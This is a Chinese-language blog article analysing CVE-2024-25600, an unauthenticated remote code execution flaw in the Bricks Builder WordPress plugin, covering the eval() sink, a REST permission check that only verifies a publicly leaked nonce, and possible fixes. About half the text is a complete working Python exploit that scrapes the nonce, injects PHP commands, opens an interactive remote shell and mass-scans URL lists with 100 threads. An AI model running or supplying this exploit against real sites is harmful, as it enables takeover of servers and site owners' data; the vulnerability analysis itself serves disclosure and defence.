WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析

简介: WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析

WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析

Bricks <= 1.9.6 容易受到未经身份验证的远程代码执行 (RCE) 的攻击,这意味着任何人都可以运行任意命令并接管站点/服务器。

受影响插件:Bricks Builder

漏洞存在版本:<=1.9.6

补丁版本:1.9.6.1

一、分析

Bricks\Query类用于管理WordPress POST请求后的显示

它包含以下脆弱方法

public static function prepare_query_vars_from_settings( $settings = [], $fallback_element_id = '' )
{
    // CUT OUT FOR CLARITY

$execute_user_code = function () use ( $php_query_raw ) {
    $user_result = null; // Initialize a variable to capture the result of user code

    // Capture user code output using output buffering
    ob_start();
    $user_result = eval( $php_query_raw ); // Execute the user code
    ob_get_clean(); // Get the captured output

    return $user_result; // Return the user code result
};

// CUT OUT FOR CLARITY
}

其中$user_result = eval( $php_query_raw );是关键,$php_query_raw被传递至eval函数,这是非常危险的。

为了利用这一点,我们需要找到一种方法,让 Bricks 使用用户控制的 $php_query_raw 输入来调用上述代码。

prepare_query_vars_from_settings方法始终在类的构造函数中调用Bricks\Query

这个类在许多地方被使用和实例化。

ef713d1c8d347cb33d1759818cc2d65.png

检查每一个调用的方法不合理,但可以关注Bricks\Ajax::render_element($element)

Bricks使用它来显示编辑器的预览
大致内容如下我删除了一些不相关的内容

$loop_element = ! empty( $element['loopElement'] ) ? $element['loopElement'] : false;
$element      = $element['element'];

if ( ! empty( $loop_element ) ) {
    $query = new Query( $loop_element );
// CUT FOR BREVITY
}

$element_name       = ! empty( $element['name'] ) ? $element['name'] : '';
$element_class_name = isset( Elements::$elements[ $element_name ]['class'] ) ? Elements::$elements[ $element_name ]['class'] : false;

if ( class_exists( $element_class_name ) ) {
    $element_instance = new $element_class_name( $element );
} 

该方法使用提供的参数创建一个新的 Query 实例,或者直接在第 5 行创建一个 Query 类。

也可以在第 14 行创建/渲染任何 Brick 的构建器元素,方法是省略“ loopElement ”参数并传递没有 .php 文件的元素的“名称”。

许多这些元素类也会在下游调用 new Query() 。还有一个代码元素可用于此漏洞利用,但在本文中,我们将重点关注第 5 行中的代码路径。

46470f3f963a924db523ae1845cda45.png

该方法可通过 admin-ajax.php 端点和 WordPress Rest API 调用。

此外,还包含以下权限检查逻辑

if ( bricks_is_ajax_call() && isset( $_POST ) ) {
    self::verify_request();
}

elseif ( bricks_is_rest_call() ) {
    // REST API (Permissions checked in the API->render_element_permissions_check())
}

Ajax::verify_request()将检查当前用户是否有权访问 Bricks 构建器(os:这也不太行,因为低权限用户也可能有访问权限

但是,如果通过 REST API 调用此方法,Ajax::verify_request()则不会调用。

代码注释:

REST API(在 API->render_element_permissions_check() 中检查权限)

表示此检查是否在 WP 的 REST API 的权限回调中执行。

// Server-side render (SSR) for builder elements via window.fetch API requests
        register_rest_route(
            self::API_NAMESPACE,
            'render_element',
            [
                'methods'             => 'POST',
                'callback'            => [ $this, 'render_element' ],
                'permission_callback' => [ $this, 'render_element_permissions_check' ],
            ]
        );

但是,检查render_element_permission_check方法,我们可以看到没有执行权限检查。

该方法仅检查请求是否包含有效的随机数,并且 WordPress 文档明确指出“永远不应依赖随机数进行授权”:

public function render_element_permissions_check( $request ) {
   
   
    $data = $request->get_json_params();

    if ( empty( $data['postId'] ) || empty( $data['element'] ) || empty( $data['nonce'] ) ) {
   
   
        return new \WP_Error( 'bricks_api_missing', __( 'Missing parameters' ), [ 'status' => 400 ] );
    }

    $result = wp_verify_nonce( $data['nonce'], 'bricks-nonce' );

    if ( ! $result ) {
   
   
        return new \WP_Error( 'rest_cookie_invalid_nonce', __( 'Cookie check failed' ), [ 'status' => 403 ] );
    }

    return true;
}

因此,唯一剩下的先决条件是通过“bricks-nonce”操作获得有效的随机数。

即使用户未经过身份验证,Bricks 也会为前端中的每个请求输出有效的随机数。这可以在下面网站主页呈现的 HTML 中看到。

有一个脚本标记,其中包含一个“ bricksData”对象,该对象除其他外还包含一个有效的随机数。

97eea4e3cf9abb2a56de4ad3acdeb29.png

二、修复

快速修复很复杂,因为eval的用户输入的功能被利用到后端的多个部分

当然,快速修复的方法是向 REST API 端点添加正确的权限检查。但这仍然留下了危险的功能,并且很可能通过其他方式调用它。

原则上任何人都不应该将任何内容传递到eval.

至少,Bricks 使用的代码库中的两个实例eval(查询类和代码块类)应该完全防范未经授权的、非管理员访问,并且输入必须经过严格验证。

解决方案是将签名与要使用 wp_hash() 评估的代码一起存储。这样,在运行时,可以确保没有人能够将代码注入数据库。

三、EXP

github上一位师傅提供的,也是我在本地复现时使用的,交互shell

import re
import warnings
import argparse
import requests

from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from concurrent.futures import ThreadPoolExecutor, as_completed


warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning, module="bs4")
warnings.filterwarnings(
    "ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)


class Code:
    def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
        self.url = url
        self.pretty = pretty
        self.verbose = verbose
        self.console = Console()
        self.only_rce = only_rce
        self.nonce = self.fetch_nonce()
        self.payload_type = payload_type

    def fetch_nonce(self):
        try:
            response = requests.get(self.url, verify=False, timeout=20)
            response.raise_for_status()
            soup = BeautifulSoup(response.text, "html.parser")
            script_tag = soup.find("script", id="bricks-scripts-js-extra")
            if script_tag:
                match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
                if match:
                    return match.group(1)
        except Exception:
            pass

    def send_request(self, postId="1", command="whoami"):
        headers = {"Content-Type": "application/json"}
        payload_command = f'throw new Exception(`{command}` . "END");'

        base_element = {
            "postId": postId,
            "nonce": self.nonce,
        }

        query_settings = {
            "useQueryEditor": True,
            "queryEditor": payload_command,
        }

        payload_templates = {
            "carousel": {
                **base_element,
                "element": {
                    "name": "carousel",
                    "settings": {"type": "posts", "query": query_settings},
                },
            },
            "container": {
                **base_element,
                "element": {
                    "name": "container",
                    "settings": {"hasLoop": "true", "query": query_settings},
                },
            },
            "generic": {
                **base_element,
                "element": "1",
                "loopElement": {
                    "settings": {"query": query_settings},
                },
            },
            "code": {
                **base_element,
                "element": {
                    "name": "code",
                    "settings": {
                        "executeCode": "true",
                        "code": f"<?php {payload_command} ?>",
                    },
                },
            },
        }

        json_data = payload_templates.get(self.payload_type)
        if self.pretty:
            endpoint = f"{self.url}/wp-json/bricks/v1/render_element"
        else:
            endpoint = f"{self.url}/?rest_route=/bricks/v1/render_element"

        req = requests.post(
            endpoint,
            headers=headers,
            json=json_data,
            verify=False,
            timeout=20,
        )
        return req

    def process_response(self, response):
        if response and response.status_code == 200:
            try:
                json_response = response.json()
                html_content = json_response.get("data", {}).get("html", None)
            except ValueError:
                html_content = response.text

            if html_content:
                match = re.search(r"Exception: (.*?)END", html_content, re.DOTALL)
                if match:
                    extracted_text = match.group(1).strip()
                    if extracted_text == "":
                        return True, html_content, False
                    else:
                        return True, extracted_text, True
                else:
                    return True, html_content, False
        return False, None, False

    def interactive_shell(self):
        session = PromptSession(history=InMemoryHistory())
        self.custom_print("Shell is ready, please type your commands UwU", "!")

        while True:
            try:
                cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
                match cmd.lower():
                    case "exit":
                        break
                    case "clear":
                        self.console.clear()
                    case _:
                        response = self.send_request(command=cmd)
                        (
                            is_vuln,
                            response_content,
                            regex_success,
                        ) = self.process_response(response)
                        if is_vuln and regex_success:
                            print(response_content, "\n")
                        else:
                            self.custom_print(
                                "No valid response received or target not vulnerable.",
                                "-",
                            )

            except KeyboardInterrupt:
                break

    def check_vulnerability(self):
        try:
            response = self.send_request()
            is_vuln, content, regex_success = self.process_response(response)

            if is_vuln:
                if regex_success:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600. Command output: {content}",
                        "+",
                    )
                else:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved.",
                        "!",
                    ) if not self.only_rce else None
                return True, content, regex_success
            else:
                self.custom_print(
                    f"{self.url} is not vulnerable to CVE-2024-25600.", "-"
                ) if self.verbose else None
                return False, None, False
        except Exception as e:
            self.custom_print(
                f"Error checking vulnerability: {e}", "-"
            ) if self.verbose else None
            return False, None, False

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )


def scan_url(url, payload_type, output_file=None, only_rce=False, pretty=False):
    code_instance = Code(
        url, payload_type=payload_type, only_rce=only_rce, verbose=False, pretty=pretty
    )
    if code_instance.nonce:
        is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
        if is_vuln and (not only_rce or is_rce_success):
            if output_file:
                with open(output_file, "a") as file:
                    file.write(f"{url}\n")
            return True
    return False


def main():
    parser = argparse.ArgumentParser(
        description="Check for CVE-2024-25600 vulnerability"
    )
    parser.add_argument(
        "--url", "-u", help="URL to fetch nonce from and check vulnerability"
    )
    parser.add_argument(
        "--list",
        "-l",
        help="Path to a file containing a list of URLs to check for vulnerability",
        default=None,
    )
    parser.add_argument(
        "--output",
        "-o",
        help="File to write vulnerable URLs to",
        default=None,
    )

    parser.add_argument(
        "--payload-type",
        "-p",
        choices=["carousel", "container", "generic", "code"],
        default="code",
        help="Type of payload to send (generic, code, carousel or container)",
    )
    parser.add_argument(
        "--only-rce",
        action="store_true",
        help="Only display and record URLs where RCE is confirmed",
    )
    parser.add_argument(
        "--pretty",
        action="store_true",
        help="Use pretty URLs (e.g., /wp-json/...) for requests",
    )

    args = parser.parse_args()

    if args.list:
        urls = []
        with open(args.list, "r") as file:
            urls = [line.strip() for line in file.readlines()]

        with alive_bar(len(urls), enrich_print=False) as bar:
            with ThreadPoolExecutor(max_workers=100) as executor:
                future_to_url = {
                    executor.submit(
                        scan_url,
                        url,
                        args.payload_type,
                        args.output,
                        args.only_rce,
                        args.pretty,
                    ): url
                    for url in urls
                }
                for future in as_completed(future_to_url):
                    future_to_url[future]
                    try:
                        future.result()
                    except Exception:
                        pass
                    finally:
                        bar()

    elif args.url:
        code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
        if code_instance.nonce:
            code_instance.custom_print(f"Nonce found: {code_instance.nonce}", "*")
            is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
            if is_vuln and is_rce_success:
                code_instance.interactive_shell()
            elif is_vuln and not args.only_rce:
                code_instance.custom_print(f"Debug:\n{html_content}", "!")
            else:
                code_instance.custom_print(f"No vulnerability found.", "-")
        else:
            code_instance.custom_print("Nonce not found.", "-")
    else:
        parser.print_help()


if __name__ == "__main__":
    main()
相关文章
|
7月前
|
Web App开发 移动开发 安全
WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)
WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。
266 1
|
11月前
|
SQL 安全 数据库
WordPress插件中的流行的严重错误发布的PoC漏洞
WordPress插件中的流行的严重错误发布的PoC漏洞
|
安全 PHP
PHP Everywhere 三个 RCE 漏洞威胁大量 WordPress 网站
PHP Everywhere 三个 RCE 漏洞威胁大量 WordPress 网站
170 0
|
SQL 安全 前端开发
网站漏洞检测 wordpress sql注入漏洞代码审计与修复
wordpress系统本身代码,很少出现sql注入漏洞,反倒是第三方的插件出现太多太多的漏洞,我们SINE安全发现,仅仅2019年9月份就出现8个插件漏洞,因为第三方开发的插件,技术都参差不齐,对安全方面也不是太懂导致写代码过程中没有对sql注入,以及xss跨站进行前端安全过滤,才导致发生sql注入漏洞。
394 0
网站漏洞检测 wordpress sql注入漏洞代码审计与修复
|
安全 关系型数据库 MySQL
网站漏洞修复对WordPress 致命漏洞注入shell
2019年正月刚开始,WordPress最新版本存在远程代码注入获取SHELL漏洞,该网站漏洞影响的版本是wordpress5.0.0,漏洞的产生是因为image模块导致的,因为代码里可以进行获取目录权限,以及文件包含功能,导致远程代码注入成功。
385 0
网站漏洞修复对WordPress 致命漏洞注入shell
|
SQL 弹性计算 安全
WordPress4.9 最新版本网站安全漏洞详情与修复
wordpress 目前互联网的市场占有率较高,许多站长以及建站公司都在使用这套开源的博客建站系统来设计网站,wordpress的优化以及html静态化,深受google以及搜索引擎的喜欢,全世界大约有着百分之28的网站都在使用这套系统,国外,外贸网站,个人博客使用的最多。
192 0
WordPress4.9 最新版本网站安全漏洞详情与修复
|
安全 数据库
最新2018年6月份Wordpress通杀全版本漏洞 详情及利用方法
2018年6月29日,wordpress爆出最新漏洞,该网站漏洞通杀所有wordpress版本,包括目
211 0
最新2018年6月份Wordpress通杀全版本漏洞 详情及利用方法
|
弹性计算 安全
阿里云提示wordpress IP验证不当漏洞手动处
登录阿里云后台 有漏洞安全修复提示,级别尽快修复,同时给出ECS服务器管理重要通知:您的云服务器(xxx.xx.xxx.xx)由于被检测到对外攻击,已阻断该服务器对其它服务器端口(UDP:ALL)的访问,阻断预计将在2018-04-23 09:56:58时间内结束,请及时进行安全自查。若有疑问,请工单或电话联系阿里云售后
227 0
|
安全 Shell 数据库
WordPress网站漏洞利用及漏洞修复解决方案
2019年正月刚开始,WordPress最新版本存在远程代码注入获取SHELL漏洞,该网站漏洞影响的版本是wordpress5.0.0,漏洞的产生是因为image模块导致的,因为代码里可以进行获取目录权限,以及文件包含功能,导致远程代码注入成功。
2176 0
|
安全 数据库 数据安全/隐私保护